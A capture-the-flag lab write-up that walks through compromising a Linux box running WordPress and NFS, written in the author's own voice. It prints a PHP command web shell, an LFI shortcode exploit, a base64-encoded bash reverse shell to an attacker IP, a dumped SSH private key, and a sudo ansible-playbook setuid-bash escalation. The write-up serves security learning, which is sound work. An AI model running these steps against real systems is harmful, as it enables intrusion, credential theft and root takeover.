Overview

The machine starts by mounting a writable nfs export to stage a php shell, logging into WordPress as john to exploit lfi in the post-slides plugin to include the staged file and get foothold as www-data. It continues by abusing gawk with cap_dac_read_search to read martin's ssh key to pivot to martin and abusing sudo ansible-playbook to get shell as root.

Enumeration

we'll start with nmap scan as usual

The scan results show that we've got 4 open ports related to 3 services

  • port 22 for SSH
  • port 80 for HTTP hosting WP
  • port 111, 2049 for NFS

NFS

Mostly when we see NFS we start with it cause it is either we can mount something or we can't then we move on so let's do it.

We'll start by showing the mountable drives, and it returns that we can mount the directory /var/nfs/documents

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Wordplay]
└──╼ [★]$ showmount -e 10.1.13.89
Export list for 10.1.13.89:
/var/nfs/documents *

showmount -e queries the NFS server's mount daemon to list exported shares available for remote mounting.

So we create a directory to mount to and then mount the drive

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Wordplay]
└──╼ [★]$ mkdir /tmp/nfs

┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Wordplay]
└──╼ [★]$ sudo mount -t nfs 10.1.13.89:/var/nfs/documents /tmp/nfs/

Looking inside the documents, there are only two files and none of them has something useful that we can act on so we'll move on to HTTP

bash
┌─[192.168.37.140]─[jimmex@attacker]─[/tmp/nfs]
└──╼ [★]$ ls -la
total 568
drwxrwxrwx 2 nobody nogroup 4096 May 19 11:29 .
drwxrwxrwt 21 root root 900 Sep 13 19:50 ..
-rw-rw-r-- 1 jimmex lpadmin 296436 May 19 11:27 'Employee Handbook.pdf'
-rw-rw-r-- 1 jimmex lpadmin 278085 May 19 11:29 'Internal News.pdf'

WordPress Instance

We'll start by scanning the website to see if it has vulnerabilities or vulnerable plugins. The running WP version is 6.9.4 and wpscan identified 14 vulnerabilities in that version, most of them weren't that interesting except this one Author+ RCE via PDF Upload that we might need but let's keep going.

bash
+] WordPress version 6.9.4 identified (Insecure, released on 2026-03-11).                     
 | Found By: Meta Generator (Passive Detection)
 | - http://10.1.13.89/, Match: 'WordPress 6.9.4'
 | Confirmed By: Atom Generator (Aggressive Detection)
 | - http://10.1.13.89/index.php/feed/atom/, < generator uri="https://wordpress.org/" version="6.9.4">WordPress</generator>
 |
 | [!] 14 vulnerabilities identified:
< SNIP>
 | [!] Title: WP < 7.0.4 - Author+ RCE via PDF Upload
 | UUID: 5061a614-ee26-422a-b4e8-ec88b96bb3cd
 | Fixed in: 6.9.7
 | References:
 | - https://wpscan.com/vulnerability/5061a614-ee26-422a-b4e8-ec88b96bb3cd
 | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-65640
 | - https://wordpress.org/news/2026/08/wordpress-7-0-4-release/

Enumerating the users with wpscan found 2 users, john and admin

bash
[+] Enumerating Users (via Passive and Aggressive Methods)                                     

[+] john
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] admin
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 Brute Forcing Author IDs - Time: 00:00:00 < ================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] 2 user(s) Identified.                      

So let's see the website itself, it is a blog and it has some reference links in it redirecting to the domain lklinux1.local

So if we visit the link we won't be able to reach it as long as there isn't a hosts entry pointing that domain to the target IP

Adding hosts file entry to the domain

bash
┌─[192.168.37.140]─[jimmex@attacker]─[~/HSM/Wordplay]
└──╼ [★]$ echo '10.1.13.89 lklinux1.local' | sudo tee -a /etc/hosts
10.1.13.89 lklinux1.local

WordPress as john

Trying the credentials admin:admin doesn't work but trying john:john works, you could've brute-forced the login using wpscan if you couldn't guess the password

So logging in as john shows that we're not administrator so the only way forward for us is to find a vulnerable plugin so let's go back to wpscan and aggressively scan for plugins (brute-forcing most known names)

bash
jimmex@attacker:~$ wpscan --url http://10.1.13.89 --enumerate ap
[+] URL: http://10.1.13.89/ [10.1.13.89]                                             
[+] Started: Mon Sep 14 00:37:34 2026                   
[+] Command Line: wpscan --url http://10.1.13.89 --enumerate ap
[+] Hostname: attacker
< SNIP>
[+] post-slides
 | Location: http://10.1.13.89/wp-content/plugins/post-slides/
 | Latest Version: 1.0.1 (up to date)
 | Last Updated: 2014-11-18 12:18am GMT (11 years ago)
 | Readme: http://10.1.13.89/wp-content/plugins/post-slides/readme.txt
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 | - http://10.1.13.89/wp-content/plugins/post-slides/, status: 200
 |
 | Version: 1.0.1 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 | - http://10.1.13.89/wp-content/plugins/post-slides/readme.txt

WPScan's --enumerate ap brute-forces known plugin slugs to discover installed WordPress plugins even when they aren't linked directly.

The only plugins that the scan found for this instance are

  • Akismet which is the default plugin for anti-spam
  • and Post Slides

Looking up the post-slides plugin with that version, it is vulnerable to Local File Inclusion

CVE-2025-15491

Post Slides is an old WordPress plugin (last updated 2014) that renders image slideshows on posts via a [post-slides] shortcode.

The vulnerability itself happens because it takes the skin attribute from the shortcode and passes it straight into a PHP include() without sanitizing it. Since WordPress lets Contributor+ users write shortcodes in their own posts, that user can set skin to a path traversal string (or an absolute path) pointing at any file, including PHP files they control elsewhere on disk turning a simple LFI into full RCE.

If we look closely at the WordPress disclosure, it has the PoC embedded in the page Pasted image 20260914082334.png We just need to add a shortcode block with that code

  • The [post-slides to call the plugin itself in the page
  • skin= is the vulnerable attribute
  • If you notice the skin attribute auto appends .php to whatever we pass to it

All we need to do now is to find a way to write a shell to the target we'll get RCE and that's because the vulnerable attribute calls include() not something like file_get_contents() which just reads.

Write to NFS

Testing if we have write over the mount and as you can see we can write to it (which might be even more valuable later) but for now we can use it to write PHP shell

bash
┌─[192.168.37.140]─[jimmex@attacker]─[/tmp/nfs]
└──╼ [★]$ echo 'a' > a
┌─[192.168.37.140]─[jimmex@attacker]─[/tmp/nfs]
└──╼ [★]$ la
total 572K
drwxrwxrwx 2 nobody nogroup 4.0K May 19 11:29 .
drwxrwxrwt 21 root root 900 Sep 13 21:12 ..
-rw-rw-r-- 1 jimmex jimmex 2 Sep 13 21:22 a
-rw-rw-r-- 1 jimmex lpadmin 290K May 19 11:27 'Employee Handbook.pdf'
-rw-rw-r-- 1 jimmex lpadmin 272K May 19 11:29 'Internal News.pdf'
┌─[192.168.37.140]─[jimmex@attacker]─[/tmp/nfs]
└──╼ [★]$

We'll write a simple PHP shell that we can invoke later, but for this case we have to use ;exit after calling system

bash
┌─[]─[10.200.94.171]─[jimmex@attacker]─[~/HSM/Wordplay]
└──╼ [★]$ cat /tmp/nfs/shell.php 
< ?php system($_GET["cmd"]); exit; ?>

[!NOTE] Why are we adding exit ? When WordPress renders your shortcode during the publish/save request, it expects the whole response to end as clean JSON. so when we include php file's system() call prints output into the same response buffer, so without exit the execution falls back into WordPress's normal flow afterwards which appends more page content like theme and footer which corrupts the JSON making the editor show "publishing failed".

so to fix that exit stops PHP right after your command output, so nothing else gets appended, keeping the response clean enough not to break things downstream.

Shell as www-data

So we'll try to publish a post with the PoC the author mentioned, but appending the shell instead of the wp-config and because we don't really know where the WordPress is hosted or the depth level of the system root hierarchy we can use as many .. as we want to get back to the root system path / where we go then to /var/nfs/documents/shell which we know that our shell exists in.

don't append .php it already does that automatically

Now when you go back to posts, you'll find the post we just created and when you click it'll show you that something went wrong cause it doesn't append the cmd parameter to the URL and without that the page is corrupted but once you add the command to that same path you'll see that everything is fine

So now let's get a shell, I will base64 encode it so the spaces and the special characters don't mess with the way the URL is parsed (make sure there isn't any + in the result by appending random spaces where you think the + appears)

the reason we do that cause + is a space is the URL encoding so sometimes it doesn't differ is it actually a part of the payload or a space so it is safer to avoid that entirely

bash
┌─[]─[10.200.94.171]─[jimmex@attacker]─[~/HSM/Wordplay]
└──╼ [★]$ echo "bash -i   >& /dev/tcp/10.200.94.171/4444 0>&1" | base64 -w 0
YmFzaCAtaSAgID4mIC9kZXYvdGNwLzEwLjIwMC45NC4xNzEvNDQ0NCAwPiYxCg==

Once we call &cmd=echo YmFzaCAtaSAgID4mIC9kZXYvdGNwLzEwLjIwMC45NC4xNzEvNDQ0NCAwPiYxCg==| base64 -d| bash you'll see that we land a shell on penelope as www-data

SSH as martin

Doing some enumeration afterwards, there isn't much we can do though but listing the capabilities for all the binaries under the root we'll see this gawk has /usr/bin/gawk cap_dac_read_search=ep

bash
www-data@lk-linux1:/var/www/html/wp-admin$ getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/gawk cap_dac_read_search=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin,cap_sys_nice=ep
/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_resource=p
www-data@lk-linux1:/var/www/html/wp-admin$

getcap -r / recursively searches the filesystem for binaries with Linux capabilities, which are fine-grained root privileges that can often be abused like SUID bits.

cap_dac_read_search

What is it? cap_dac_read_search is a Linux capability that lets a process bypass file and directory read/search permission checks "DAC" = Discretionary Access Control which is the normal Unix permission bits (rwx).

Specifically it grants two things:

  1. Bypass read permission checks on files, read any file regardless of its mode/owner.
  2. Bypass execute/search permission checks on directories, traverse into any directory even without x permission, and use syscalls like open(), stat(), readlink() on arbitrary paths.

And because gawk is a Linux utility I am sure there is a way for us to read files on the system using it, if you search GTFOBins for gawk it'll show you this Pasted image 20260914084355.png

GTFOBins is a curated list of Unix binaries that can be abused for privilege escalation when they have special permissions like SUID bits or Linux capabilities.

I didn't though, Google search will show you that we can read files using the print clause in gawk, listing directories under /home there is a single home directory on the system which belongs to martin so I started looking for possible default files like SSH keys

As you can see we got a private key for martin under ~/.ssh/id_rsa

bash
www-data@lk-linux1:/var/www/html/wp-admin$ gawk '{ print }' /home/martin/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBTudKzD7WZiy45kjK4hKLeW+5CMJ57lF5MRWUJXcHdBwAAAJjrcD2q63A9
qgAAAAtzc2gtZWQyNTUxOQAAACBTudKzD7WZiy45kjK4hKLeW+5CMJ57lF5MRWUJXcHdBw
AAAECiH5d/zRQvl3QQYF/WQMBpc3zGJ/9TMjFRXlRKk8HhulO50rMPtZmLLjmSMriEot5b
7kIwnnuUXkxFZQldwd0HAAAAEG1hcnRpbkBsay1saW51eDEBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
www-data@lk-linux1:/var/www/html/wp-admin$

Once we adjust the permissions and connect as martin we're in

bash
┌─[]─[10.200.94.171]─[jimmex@attacker]─[~/HSM/Wordplay]
└──╼ [★]$ chmod 600 martin.ssh

┌─[]─[10.200.94.171]─[jimmex@attacker]─[~/HSM/Wordplay]
└──╼ [★]$ ssh -i martin.ssh martin@lklinux1.local
< SNIP>
Last login: Sun Sep 6 01:38:31 2026 from 10.0.0.247
martin@lk-linux1:~$ id
uid=1000(martin) gid=1000(martin) groups=1000(martin),100(users)
martin@lk-linux1:~$

Shell as root

Running sudo -l to know if we can run any commands as root, we'll see that we can run only one command which is ansible-playbook

bash
martin@lk-linux1:~$ sudo -l
User martin may run the following commands on lk-linux1:
    (root) NOPASSWD: /usr/bin/ansible-playbook

Ansible is an automation tool used to configure servers, deploy software, and manage infrastructure using simple YAML files called playbooks that describe tasks to run, like package installs, copy files, run shell commands, restart services, and so much more (I recommend you read about it for setup automation as that'll be helpful for you)

ansible-playbook is the command that executes those YAML playbooks. It reads the tasks, connects to target hosts (or localhost if none specified), and runs each task in order which is exactly why it's dangerous with sudo access: since a playbook can contain a shell/command module running arbitrary commands, letting a low-priv user run ansible-playbook as root effectively lets them execute any command as root by just writing it into a YAML task file.

So after writing this playbook under ~/tasks we can run it as sudo now

yaml
- hosts: localhost
  tasks:
    - name: pwn
      shell: cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash

Running the playbook returns that everything is done and fine

bash
martin@lk-linux1:~/tasks$ sudo /usr/bin/ansible-playbook task.yml
[WARNING]: No inventory was parsed, only implicit localhost is available
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [localhost] ***********************************************************************************************************************************************************

TASK [Gathering Facts] *****************************************************************************************************************************************************
ok: [localhost]

TASK [pwn] *****************************************************************************************************************************************************************
changed: [localhost]

PLAY RECAP *****************************************************************************************************************************************************************
localhost : ok=2 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0

But when trying to run /tmp/rootbash -p it still lands us in martin's context

bash
martin@lk-linux1:~/tasks$ /tmp/rootbash -p
martin@lk-linux1:~/tasks$ id
uid=1000(martin) gid=1000(martin) groups=1000(martin),100(users)

Even though the file shows rws for owner and that's where I suspected that the /tmp path has nosuid set on it

bash
martin@lk-linux1:~/tasks$ ls -la /tmp/rootbash
-rwsr-sr-x 1 root root 1540520 Sep 14 03:11 /tmp/rootbash
martin@lk-linux1:~/tasks$ mount | grep /tmp
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,nr_inodes=1048576,inode64,usrquota)
martin@lk-linux1:~/tasks$

nosuid is a filesystem mount option. When a filesystem or a specific mount point like /tmp is mounted with nosuid, the kernel ignores the setuid/setgid bits on any executable stored there even if the file's permissions show rws (setuid set).

So it is just a hiccup that we can resolve by changing the path of the copied binary to the home directory where there is no nosuid set on it

bash
martin@lk-linux1:~/tasks$ sudo /usr/bin/ansible-playbook task.yml
[WARNING]: No inventory was parsed, only implicit localhost is available
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [localhost] ***********************************************************************************************************************************************************

TASK [Gathering Facts] *****************************************************************************************************************************************************
ok: [localhost]

TASK [pwn] *****************************************************************************************************************************************************************
changed: [localhost]

PLAY RECAP *****************************************************************************************************************************************************************
localhost : ok=2 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0

And if we run the same now we'll drop into a root shell

Path

That's what we did in this lab Pasted image 20260914091712.png

Resources